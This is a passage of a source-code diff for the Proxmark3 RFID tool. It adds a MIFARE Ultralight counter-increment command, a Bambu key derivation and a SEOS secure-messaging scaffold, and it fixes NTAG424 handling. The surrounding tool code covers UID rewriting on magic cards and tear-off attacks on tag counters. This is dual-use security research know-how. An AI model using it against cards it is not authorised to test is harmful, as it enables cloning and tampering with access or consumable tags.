(!WaitForResponseTimeout(CMD_HF_ISO14443A_GET_CONFIG, &resp, 2000)) { + if (WaitForResponseTimeout(CMD_HF_ISO14443A_GET_CONFIG, &resp, 2000) == false) { PrintAndLogEx(WARNING, "command execute timeout"); return PM3_ETIMEOUT; } - memcpy(&config, resp.data.asBytes, sizeof(hf14a_config)); + memcpy(&config, resp.data.asBytes, sizeof(hf14a_config_t)); int8_t oldconfig_bcc = config.forcebcc; if (oldconfig_bcc != 2) { config.forcebcc = 2; - SendCommandNG(CMD_HF_ISO14443A_SET_CONFIG, (uint8_t *)&config, sizeof(hf14a_config)); + SendCommandNG(CMD_HF_ISO14443A_SET_CONFIG, (uint8_t *)&config, sizeof(hf14a_config_t)); } // block 0. @@ -4122,7 +4191,7 @@ static int CmdHF14AMfUCSetUid(const char *Cmd) { data[3] = 0x88 ^ uid[0] ^ uid[1] ^ uid[2]; clearCommandBuffer(); SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, 0, 0, 0, data, sizeof(data)); - if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { + if (WaitForResponseTimeout(CMD_ACK, &resp, 1500) == false) { PrintAndLogEx(WARNING, "Command execute timeout"); return PM3_ETIMEOUT; } @@ -4134,7 +4203,7 @@ static int CmdHF14AMfUCSetUid(const char *Cmd) { data[3] = uid[6]; clearCommandBuffer(); SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, 1, 0, 0, data, sizeof(data)); - if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { + if (WaitForResponseTimeout(CMD_ACK, &resp, 1500) == false) { PrintAndLogEx(WARNING, "Command execute timeout"); return PM3_ETIMEOUT; } @@ -4146,7 +4215,7 @@ static int CmdHF14AMfUCSetUid(const char *Cmd) { data[3] = oldblock2[3]; clearCommandBuffer(); SendCommandMIX(CMD_HF_MIFAREU_WRITEBL, 2, 0, 0, data, sizeof(data)); - if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { + if (WaitForResponseTimeout(CMD_ACK, &resp, 1500) == false) { PrintAndLogEx(WARNING, "Command execute timeout"); return PM3_ETIMEOUT; } @@ -4154,7 +4223,7 @@ static int CmdHF14AMfUCSetUid(const char *Cmd) { // restore BCC config if (oldconfig_bcc != 2) { config.forcebcc = oldconfig_bcc; - SendCommandNG(CMD_HF_ISO14443A_SET_CONFIG, (uint8_t *)&config, sizeof(hf14a_config)); + SendCommandNG(CMD_HF_ISO14443A_SET_CONFIG, (uint8_t *)&config, sizeof(hf14a_config_t)); } return PM3_SUCCESS; } @@ -4188,7 +4257,11 @@ static int CmdHF14AMfUKeyGen(const char *Cmd) { clearCommandBuffer(); SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_RATS, 0, 0, NULL, 0); PacketResponseNG resp; - WaitForResponse(CMD_ACK, &resp); + if (WaitForResponseTimeout(CMD_ACK, &resp, 2500) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + return PM3_ETIMEOUT; + } + iso14a_card_select_t card; memcpy(&card, (iso14a_card_select_t *)resp.data.asBytes, sizeof(iso14a_card_select_t)); @@ -4367,7 +4440,7 @@ static int CmdHF14AMfUPwdGen(const char *Cmd) { if (u_len != 7 && u_len != 4) { PrintAndLogEx(WARNING, "Key must be 7 hex bytes"); return PM3_EINVARG; - } else { + } else if (u_len == 4) { // adapt to 7 bytes :) memset(uid + 4, 0x00, 3); u_len = 7; @@ -4398,6 +4471,9 @@ static int CmdHF14AMfUPwdGen(const char *Cmd) { PrintAndLogEx(INFO, " Dorma Kaba algo"); PrintAndLogEx(INFO, " STiD algo"); PrintAndLogEx(INFO, "-------------------------------------"); + key = 0; + mfc_algo_bambu_one(uid, 0, MF_KEY_A, &key); + PrintAndLogEx(INFO, " Bambu........ %012" PRIX64, key); return PM3_SUCCESS; } @@ -4556,7 +4632,7 @@ static int CmdHF14AMfuOtpTearoff(const char *Cmd) { // we be getting ACK that we are silently ignoring here.. - if (!WaitForResponseTimeout(CMD_HF_MFU_OTP_TEAROFF, &resp, 2000)) { + if (WaitForResponseTimeout(CMD_HF_MFU_OTP_TEAROFF, &resp, 2000) == false) { PrintAndLogEx(WARNING, "Failed"); return PM3_ESOFT; } @@ -4577,11 +4653,13 @@ static int CmdHF14AMfuOtpTearoff(const char *Cmd) { got_post = true; } } - if (! got_post) { + + if (!got_post) { PrintAndLogEx(FAILED, "Failed to read block BEFORE"); error_retries++; continue; // try again } + error_retries = 0; char prestr[20] = {0}; snprintf(prestr, sizeof(prestr), "%s", sprint_hex_inrow(pre, sizeof(pre))); @@ -4649,8 +4727,8 @@ static int CmdHF14AMfuOtpTearoff(const char *Cmd) { current++; end++; start++; - retries = 0; PrintAndLogEx(INFO, _CYAN_("Retried %u times, increased delay with 1us"), retries); + retries = 0; } } } @@ -4864,7 +4942,7 @@ static int CmdHF14AMfuEv1CounterTearoff(const char *Cmd) { clearCommandBuffer(); PacketResponseNG resp; SendCommandNG(CMD_HF_MFU_COUNTER_TEAROFF, (uint8_t*)&payload, sizeof(payload)); - if (!WaitForResponseTimeout(CMD_HF_MFU_COUNTER_TEAROFF, &resp, 2000)) { + if (WaitForResponseTimeout(CMD_HF_MFU_COUNTER_TEAROFF, &resp, 2000) == false) { PrintAndLogEx(WARNING, "\ntear off command failed"); continue; } @@ -5217,7 +5295,7 @@ int CmdHF14MfuNDEFRead(const char *Cmd) { jooki++; char s[17] = {0}; strncpy(s, jooki, 16); - PrintAndLogEx(HINT, "Use `" _YELLOW_("hf jooki decode -d %s") "` to decode", s); + PrintAndLogEx(HINT, "Hint: Use `" _YELLOW_("hf jooki decode -d %s") "` to decode", s); break; } } @@ -5251,7 +5329,7 @@ static int GetMfuDumpFromEMul(mfu_dump_t **buf) { mfu_dump_t *dump = calloc(1, sizeof(mfu_dump_t)); if (dump == NULL) { - PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -5749,7 +5827,7 @@ static int CmdHF14AMfuWipe(const char *Cmd) { case PM3_ETIMEOUT: default: { PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(WARNING, "Command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); goto out; } } @@ -5778,7 +5856,7 @@ ulc: return PM3_ESOFT; } } else { - PrintAndLogEx(WARNING, "command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } } @@ -5789,7 +5867,7 @@ ulc: } - PrintAndLogEx(HINT, "try `" _YELLOW_("hf mfu dump --ns") "` to verify"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf mfu dump --ns") "` to verify"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "Done!"); @@ -5797,6 +5875,127 @@ out: return PM3_SUCCESS; } +static int CmdHF14AMfUIncr(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf mfu incr", + "Increment a MIFARE Ultralight Ev1 counter\n" + "Will read but not increment counter if NTAG is detected", + "hf mfu incr -c 0 -v 1337\n" + "hf mfu incr -c 2 -v 0 -p FFFFFFFF"); + void *argtable[] = { + arg_param_begin, + arg_int1("c", "cnt", "", "Counter index from 0"), + arg_int1("v", "val", "", "Value to increment by (0-16777215)"), + arg_str0("p", "pwd", "", "PWD to authenticate with"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + uint8_t counter = arg_get_int_def(ctx, 1, 3); + uint32_t value = arg_get_u32_def(ctx, 2, 16777216); + + int pwd_len; + uint8_t pwd[4] = { 0x00 }; + CLIGetHexWithReturn(ctx, 3, pwd, &pwd_len); + bool has_key = false; + if (pwd_len) { + has_key = true; + if (pwd_len != 4) { + PrintAndLogEx(WARNING, "incorrect PWD length"); + return PM3_EINVARG; + } + } + + CLIParserFree(ctx); + + if (counter > 2) { + PrintAndLogEx(WARNING, "Counter index must be in range 0-2"); + return PM3_EINVARG; + } + if (value > 16777215) { + PrintAndLogEx(WARNING, "Value to increment must be in range 0-16777215"); + return PM3_EINVARG; + } + + uint8_t increment_cmd[6] = { MIFARE_ULEV1_INCR_CNT, counter, 0x00, 0x00, 0x00, 0x00 }; + + for (uint8_t i = 0; i < 3; i++) { + increment_cmd[i + 2] = (value >> (8 * i)) & 0xff; + } + + uint64_t tagtype = GetHF14AMfU_Type(); + uint64_t tags_with_counter_ul = MFU_TT_UL_EV1_48 | MFU_TT_UL_EV1_128 | MFU_TT_UL_EV1; + uint64_t tags_with_counter_ntag = MFU_TT_NTAG_213 | MFU_TT_NTAG_213_F | MFU_TT_NTAG_213_C | MFU_TT_NTAG_213_TT | MFU_TT_NTAG_215 | MFU_TT_NTAG_216; + if ((tagtype & (tags_with_counter_ul | tags_with_counter_ntag)) == 0) { + PrintAndLogEx(WARNING, "tag type does not have counters"); + DropField(); + return PM3_ESOFT; + } + + bool is_ntag = (tagtype & tags_with_counter_ntag) != 0; + if (is_ntag && (counter != 2)) { + PrintAndLogEx(WARNING, "NTAG only has one counter at index 2"); + DropField(); + return PM3_EINVARG; + } + + uint8_t pack[4] = { 0, 0, 0, 0 }; + if (has_key) { + if (ulev1_requestAuthentication(pwd, pack, sizeof(pack)) == PM3_EWRONGANSWER) { + PrintAndLogEx(FAILED, "authentication failed UL-EV1/NTAG"); + DropField(); + return PM3_ESOFT; + } + } + + iso14a_card_select_t card; + if (ul_select(&card) == false) { + PrintAndLogEx(FAILED, "failed to select card, exiting..."); + return PM3_ESOFT; + } + + uint8_t current_counter[3] = { 0, 0, 0 }; + int len = ulev1_readCounter(counter, current_counter, sizeof(current_counter)); + if (len != sizeof(current_counter)) { + PrintAndLogEx(FAILED, "failed to read old counter"); + if (is_ntag) { + PrintAndLogEx(HINT, "Hint: NTAG detected, try reading with password"); + } + DropField(); + return PM3_ESOFT; + } + + uint32_t current_counter_num = current_counter[0] | (current_counter[1] << 8) | (current_counter[2] << 16); + PrintAndLogEx(INFO, "Current counter... " _GREEN_("%8d") " - " _GREEN_("%s"), current_counter_num, sprint_hex(current_counter, 3)); + + if ((tagtype & tags_with_counter_ntag) != 0) { + PrintAndLogEx(WARNING, "NTAG detected, unable to manually increment counter"); + DropField(); + return PM3_ESOFT; + } + + uint8_t resp[1] = { 0x00 }; + if (ul_send_cmd_raw(increment_cmd, sizeof(increment_cmd), resp, sizeof(resp)) < 0) { + PrintAndLogEx(FAILED, "failed to increment counter"); + DropField(); + return PM3_ESOFT; + } + + uint8_t new_counter[3] = { 0, 0, 0 }; + int new_len = ulev1_readCounter(counter, new_counter, sizeof(new_counter)); + if (new_len != sizeof(current_counter)) { + PrintAndLogEx(FAILED, "failed to read new counter"); + DropField(); + return PM3_ESOFT; + } + + uint32_t new_counter_num = new_counter[0] | (new_counter[1] << 8) | (new_counter[2] << 16); + PrintAndLogEx(INFO, "New counter....... " _GREEN_("%8d") " - " _GREEN_("%s"), new_counter_num, sprint_hex(new_counter, 3)); + + DropField(); + return PM3_SUCCESS; +} + static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, {"list", CmdHF14AMfuList, AlwaysAvailable, "List MIFARE Ultralight / NTAG history"}, @@ -5808,7 +6007,9 @@ static command_t CommandTable[] = { {"-----------", CmdHelp, IfPm3Iso14443a, "----------------------- " _CYAN_("operations") " -----------------------"}, {"cauth", CmdHF14AMfUCAuth, IfPm3Iso14443a, "Ultralight-C - Authentication"}, {"setpwd", CmdHF14AMfUCSetPwd, IfPm3Iso14443a, "Ultralight-C - Set 3DES key"}, + {"aesauth", CmdHF14AMfUAESAuth, IfPm3Iso14443a, "Ultralight-AES - Authentication"}, {"dump", CmdHF14AMfUDump, IfPm3Iso14443a, "Dump MIFARE Ultralight family tag to binary file"}, + {"incr", CmdHF14AMfUIncr, IfPm3Iso14443a, "Increments Ev1/NTAG counter"}, {"info", CmdHF14AMfUInfo, IfPm3Iso14443a, "Tag information"}, {"ndefread", CmdHF14MfuNDEFRead, IfPm3Iso14443a, "Prints NDEF records from card"}, {"rdbl", CmdHF14AMfURdBl, IfPm3Iso14443a, "Read block"}, diff --git a/client/src/cmdhfmfu.h b/client/src/cmdhfmfu.h index 37dbff558..ea1c67340 100644 --- a/client/src/cmdhfmfu.h +++ b/client/src/cmdhfmfu.h @@ -53,6 +53,8 @@ int ul_print_type(uint64_t tagtype, uint8_t spaces); void mfu_print_dump(mfu_dump_t *card, uint16_t pages, uint8_t startpage, bool dense_output); int ul_read_uid(uint8_t *uid); int trace_mfuc_try_default_3des_keys(uint8_t **correct_key, int state, uint8_t (*authdata)[16]); +int mfu_get_version_uid(uint8_t *version, uint8_t *uid); +int mfuc_test_authentication_support(void); int CmdHFMFUltra(const char *Cmd); int CmdHF14MfuNDEFRead(const char *Cmd); @@ -96,6 +98,8 @@ int CmdHF14MfUTamper(const char *Cmd); #define MFU_TT_MAGIC_4 0x400000000ULL #define MFU_TT_MAGIC_4_GDM 0x800000000ULL #define MFU_TT_MAGIC_NTAG21X 0x1000000000ULL +#define MFU_TT_ST25TN512 0x2000000000ULL +#define MFU_TT_ST25TN01K 0x4000000000ULL #define MFU_TT_UL_MAGIC (MFU_TT_UL | MFU_TT_MAGIC) #define MFU_TT_UL_C_MAGIC (MFU_TT_UL_C | MFU_TT_MAGIC) // Don't forget to fill UL_TYPES_ARRAY and UL_MEMORY_ARRAY if new types are added diff --git a/client/src/cmdhfntag424.c b/client/src/cmdhfntag424.c index 9e4abeed2..188b4eec5 100644 --- a/client/src/cmdhfntag424.c +++ b/client/src/cmdhfntag424.c @@ -34,8 +34,8 @@ #include "crc32.h" #include "cmdhfmfdes.h" -#define NTAG424_MAX_BYTES 412 - +#define NTAG424_MAX_BYTES 412 +#define NTAG424_RESPONSE_LENGTH 2 // NTAG424 commands currently implemented // icenam: should be able to use 14a / msdes to annotate NTAG424 communications @@ -149,10 +149,40 @@ typedef struct { } ntag424_full_version_information_t; -static void ntag424_print_version_information(ntag424_version_information_t *version) { +static void ntag424_print_version_information(ntag424_version_information_t *version, bool is_hw) { PrintAndLogEx(INFO, " vendor id: " _GREEN_("%02X"), version->vendor_id); PrintAndLogEx(INFO, " type: " _GREEN_("%02X"), version->type); - PrintAndLogEx(INFO, " sub type: " _GREEN_("%02X"), version->sub_type); + + if (is_hw) { + + const char *capacitance = "unknown"; + switch (version->sub_type & 0xf) { + case 2: { + capacitance = "50pF"; + break; + } + case 8: { + capacitance = "50pF + Tag Tamper"; + break; + } + } + + const char *modulation = "unknown"; + switch ((version->sub_type >> 4) & 0xf) { + case 0: { + modulation = "strong"; + break; + } + case 8: { + modulation = "standard"; + break; + } + } + PrintAndLogEx(INFO, " sub type: " _GREEN_("%02X (capacitance: %s, modulation: %s)"), version->sub_type, capacitance, modulation); + + } else { + PrintAndLogEx(INFO, " sub type: " _GREEN_("%02X"), version->sub_type); + } PrintAndLogEx(INFO, " version: " _GREEN_("%d.%d"), version->major_version, version->minor_version); PrintAndLogEx(INFO, "storage size: " _GREEN_("%02X"), version->storage_size); PrintAndLogEx(INFO, " protocol: " _GREEN_("%02X"), version->protocol); @@ -168,10 +198,10 @@ static void ntag424_print_production_information(ntag424_production_information_ static void ntag424_print_full_version_information(ntag424_full_version_information_t *version) { PrintAndLogEx(INFO, "--- " _CYAN_("Hardware version information:")); - ntag424_print_version_information(&version->hardware); + ntag424_print_version_information(&version->hardware, true); PrintAndLogEx(INFO, "--- " _CYAN_("Software version information:")); - ntag424_print_version_information(&version->software); + ntag424_print_version_information(&version->software, false); PrintAndLogEx(INFO, "--- " _CYAN_("Production information:")); ntag424_print_production_information(&version->production); @@ -290,6 +320,10 @@ static void ntag424_calc_mac(const ntag424_session_keys_t *session_keys, uint8_t int mac_input_len = sizeof(mac_input_header) + datalen; uint8_t *mac_input = (uint8_t *)calloc(mac_input_len, sizeof(uint8_t)); + if (mac_input == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return; + } memcpy(mac_input, mac_input_header, sizeof(mac_input_header)); memcpy(&mac_input[sizeof(mac_input_header)], data, datalen); uint8_t mac[16] = {0}; @@ -508,19 +542,17 @@ static void ntag424_print_file_settings(uint8_t fileno, const ntag424_file_setti // NTAG424 only have one static application, so we select it here static int ntag424_select_application(void) { - const size_t RESPONSE_LENGTH = 2; uint8_t cmd[] = {0x00, 0xA4, 0x04, 0x0C, 0x07, 0xD2, 0x76, 0x00, 0x00, 0x85, 0x01, 0x01, 0x00 }; - uint8_t resp[RESPONSE_LENGTH]; + uint8_t resp[NTAG424_RESPONSE_LENGTH]; int outlen = 0; - int res; - res = ExchangeAPDU14a(cmd, sizeof(cmd), false, true, resp, RESPONSE_LENGTH, &outlen); + int res = ExchangeAPDU14a(cmd, sizeof(cmd), false, true, resp, NTAG424_RESPONSE_LENGTH, &outlen); if (res != PM3_SUCCESS) { PrintAndLogEx(ERR, "Failed to send apdu"); return res; } - if (outlen != RESPONSE_LENGTH || resp[RESPONSE_LENGTH - 2] != 0x90 || resp[RESPONSE_LENGTH - 1] != 0x00) { + if (outlen != NTAG424_RESPONSE_LENGTH || resp[NTAG424_RESPONSE_LENGTH - 2] != 0x90 || resp[NTAG424_RESPONSE_LENGTH - 1] != 0x00) { PrintAndLogEx(ERR, "Failed to select application"); return PM3_ESOFT; } @@ -728,7 +760,7 @@ static int ntag424_write_data(uint8_t fileno, uint32_t offset, uint32_t num_byte static int ntag424_read_data(uint8_t fileno, uint16_t offset, uint16_t num_bytes, uint8_t *out, ntag424_communication_mode_t comm_mode, ntag424_session_keys_t *session_keys) { uint8_t cmd_header[] = { fileno, - (uint8_t)offset, (uint8_t)(offset << 8), (uint8_t)(offset << 16), // offset + (uint8_t)offset, (uint8_t)(offset >> 8), (uint8_t)(offset >> 16), // offset (uint8_t)num_bytes, (uint8_t)(num_bytes >> 8), 0x00 }; @@ -1018,7 +1050,7 @@ static int CmdHF_ntag424_read(const char *Cmd) { }; CLIExecWithReturn(ctx, Cmd, argtable, false); - int fileno = arg_get_int(ctx, 1); + int l_fileno = arg_get_int(ctx, 1); int keyno = 0; uint8_t key[16] = {0}; @@ -1067,10 +1099,10 @@ static int CmdHF_ntag424_read(const char *Cmd) { } uint8_t data[512] = {0}; - res = ntag424_read_data(fileno, offset, read_length, data, comm_mode, &session_keys); + res = ntag424_read_data(l_fileno, offset, read_length, data, comm_mode, &session_keys); DropField(); if (res == PM3_SUCCESS) { - PrintAndLogEx(SUCCESS, " -------- Read file " _YELLOW_("%d") " contents ------------ ", fileno); + PrintAndLogEx(SUCCESS, " -------- Read file " _YELLOW_("%d") " contents ------------ ", l_fileno); print_hex_break(data, read_length, 16); } return res; @@ -1095,7 +1127,7 @@ static int CmdHF_ntag424_write(const char *Cmd) { }; CLIExecWithReturn(ctx, Cmd, argtable, false); - int fileno = arg_get_int(ctx, 1); + int l_fileno = arg_get_int(ctx, 1); int keyno = 0; uint8_t key[16] = {0}; @@ -1146,7 +1178,7 @@ static int CmdHF_ntag424_write(const char *Cmd) { } } - res = ntag424_write_data(fileno, offset, (uint32_t)datalen, data, comm_mode, &session_keys); + res = ntag424_write_data(l_fileno, offset, (uint32_t)datalen, data, comm_mode, &session_keys); DropField(); if (res == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "Wrote " _YELLOW_("%d") " bytes ( " _GREEN_("ok") " )", datalen); @@ -1168,7 +1200,7 @@ static int CmdHF_ntag424_getfilesettings(const char *Cmd) { arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); - int fileno = arg_get_int(ctx, 1); + int l_fileno = arg_get_int(ctx, 1); CLIParserFree(ctx); @@ -1184,10 +1216,10 @@ static int CmdHF_ntag424_getfilesettings(const char *Cmd) { } ntag424_file_settings_t settings = {0}; - int res = ntag424_get_file_settings(fileno, &settings); + int res = ntag424_get_file_settings(l_fileno, &settings); DropField(); if (res == PM3_SUCCESS) { - ntag424_print_file_settings(fileno, &settings); + ntag424_print_file_settings(l_fileno, &settings); } return res; } @@ -1247,7 +1279,7 @@ static int CmdHF_ntag424_changefilesettings(const char *Cmd) { arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); - int fileno = arg_get_int(ctx, 1); + int l_fileno = arg_get_int(ctx, 1); int keyno = 0; uint8_t key[16] = {0}; @@ -1339,7 +1371,7 @@ static int CmdHF_ntag424_changefilesettings(const char *Cmd) { } ntag424_file_settings_t settings = {0}; - if (ntag424_get_file_settings(fileno, &settings) != PM3_SUCCESS) { + if (ntag424_get_file_settings(l_fileno, &settings) != PM3_SUCCESS) { DropField(); return PM3_ESOFT; } @@ -1377,11 +1409,11 @@ static int CmdHF_ntag424_changefilesettings(const char *Cmd) { settings.optional_sdm_settings.sdm_data[i][0] = sdm_data[i][2]; } - res = ntag424_write_file_settings(fileno, &settings, &session); + res = ntag424_write_file_settings(l_fileno, &settings, &session); DropField(); if (res == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "Write settings ( " _GREEN_("ok") " )"); - ntag424_print_file_settings(fileno, &settings); + ntag424_print_file_settings(l_fileno, &settings); } else { PrintAndLogEx(ERR, "Write settings (" _RED_("fail") " )"); } diff --git a/client/src/cmdhfseos.c b/client/src/cmdhfseos.c index 4ab7c1b15..69b789d42 100644 --- a/client/src/cmdhfseos.c +++ b/client/src/cmdhfseos.c @@ -23,85 +23,1309 @@ #include "cmdparser.h" // command_t #include "comms.h" // clearCommandBuffer #include "cmdtrace.h" +#include +#include +#include "fileutils.h" #include "crc16.h" #include "ui.h" #include "cmdhf14a.h" // manufacture #include "protocols.h" // definitions of ISO14A/7816 protocol +#include "cardhelper.h" +#include "wiegand_formats.h" +#include "wiegand_formatutils.h" #include "iso7816/apduinfo.h" // GetAPDUCodeDescription #include "crypto/asn1utils.h" // ASN1 decode / print +#include "crypto/libpcrypto.h" // AES decrypt #include "commonutil.h" // get_sw #include "protocols.h" // ISO7816 APDU return codes +#include "hidsio.h" + +static uint8_t zeros[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; static int CmdHelp(const char *Cmd); -static int seos_select(void) { - bool activate_field = true; - bool keep_field_on = true; +typedef struct { + uint8_t nonce[8]; + uint8_t privEncKey[16]; + uint8_t privMacKey[16]; + uint8_t readKey[16]; + uint8_t writeKey[16]; + uint8_t adminKey[16]; +} keyset_t; + +keyset_t keys[] = { + { + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // Nonce + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // privEncKey + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // privMacKey + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // readKey + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // writeKey + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 } // adminKey + }, + { + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // Nonce + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // privEncKey + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // privMacKey + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // readKey + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // writeKey + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 } // adminKey + }, + { + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // Nonce + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // privEncKey + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // privMacKey + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // readKey + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // writeKey + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 } // adminKey + }, + { + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // Nonce + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // privEncKey + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // privMacKey + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // readKey + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // writeKey + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 } // adminKey + }, +}; + +typedef struct { + const int value; + const char *name; +} known_algo_t; + +static const known_algo_t known_algorithm_map[] = { + {2, "2K3DES_CBC_MODE"}, + {4, "3K3DES_CBC_MODE"}, + {6, "SHA-1"}, + {7, "SHA-256"}, + {9, "AES-128_CBC_MODE"}, +}; + +static int create_cmac(uint8_t *key, uint8_t *input, uint8_t *out, int input_len, int encryption_algorithm) { + uint8_t iv[16] = {0x00}; + + if (encryption_algorithm == 0x09) { + // Working as expected + aes_cmac(iv, key, input, out, input_len); + } else if (encryption_algorithm == 0x02) { + // CMAC Requires a 24 byte key, but the 2k3DES uses the 1st part for the 3rd part of the key + memcpy(&key[16], &key[0], 8); + + const mbedtls_cipher_info_t *ctx; + ctx = mbedtls_cipher_info_from_type(MBEDTLS_CIPHER_DES_EDE3_ECB); + mbedtls_cipher_cmac(ctx, key, 192, input, input_len, out); + } else { + PrintAndLogEx(ERR, _RED_("Unknown Encryption Algorithm")); + return PM3_ESOFT; + } + return PM3_SUCCESS; +} + +static int create_cryptogram(uint8_t *key, uint8_t *input, uint8_t *out, int input_len, int encryption_algorithm) { + uint8_t iv[16] = {}; + + if (encryption_algorithm == 0x09) { + aes_encode(iv, key, input, out, input_len); + } else if (encryption_algorithm == 0x02) { + mbedtls_des3_context ctx3; + mbedtls_des3_set2key_enc(&ctx3, key); + mbedtls_des3_crypt_cbc(&ctx3, MBEDTLS_DES_ENCRYPT, input_len, iv, input, out); + mbedtls_des3_free(&ctx3); + } else { + PrintAndLogEx(ERR, _RED_("Unknown Encryption Algorithm")); + return PM3_ESOFT; + } + + return PM3_SUCCESS; +} + +static int decrypt_cryptogram(uint8_t *key, uint8_t *input, uint8_t *out, int input_len, int encryption_algorithm) { + uint8_t iv[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + + if (encryption_algorithm == 0x09) { + aes_decode(iv, key, input, out, input_len); + } else if (encryption_algorithm == 0x02) { + mbedtls_des3_context ctx3; + mbedtls_des3_set2key_dec(&ctx3, key); + mbedtls_des3_crypt_cbc(&ctx3, MBEDTLS_DES_DECRYPT, input_len, iv, input, out); + mbedtls_des3_free(&ctx3); + } else { + PrintAndLogEx(ERR, "Unknown Encryption Algorithm"); + return PM3_ESOFT; + } + + return PM3_SUCCESS; +} + +static void increment_command_wrapper(uint8_t *input, int input_len) { + input[input_len - 1]++; // Increment the last element of the header by 1 +} + +static void padToBlockSize(const uint8_t *input, int inputSize, int blockSize, uint8_t *output) { + int paddingSize = blockSize - (inputSize % blockSize); + memcpy(output, input, inputSize); + memset(output + inputSize, 0x80, 1); + memset(output + inputSize + 1, 0x00, paddingSize - 1); +} + +static void generate_command_wrapping(uint8_t *command_Header, int command_header_len, uint8_t *unencrypted_Command, int unencrypted_command_len, uint8_t *rndICC, uint8_t *rndIFD, uint8_t *diversified_enc_key, uint8_t *diversified_mac_key, int encryption_algorithm, uint8_t *command, int *command_len) { + int block_size = 0; + + if (encryption_algorithm == 0x02) { + block_size = 8; + } else if (encryption_algorithm == 0x09) { + block_size = 16; + } else { + PrintAndLogEx(ERR, _RED_("Unknown Encryption Algorithm")); + return; + } + + uint8_t rndCounter[block_size]; + memcpy(rndCounter, rndICC, block_size / 2); + memcpy(rndCounter + 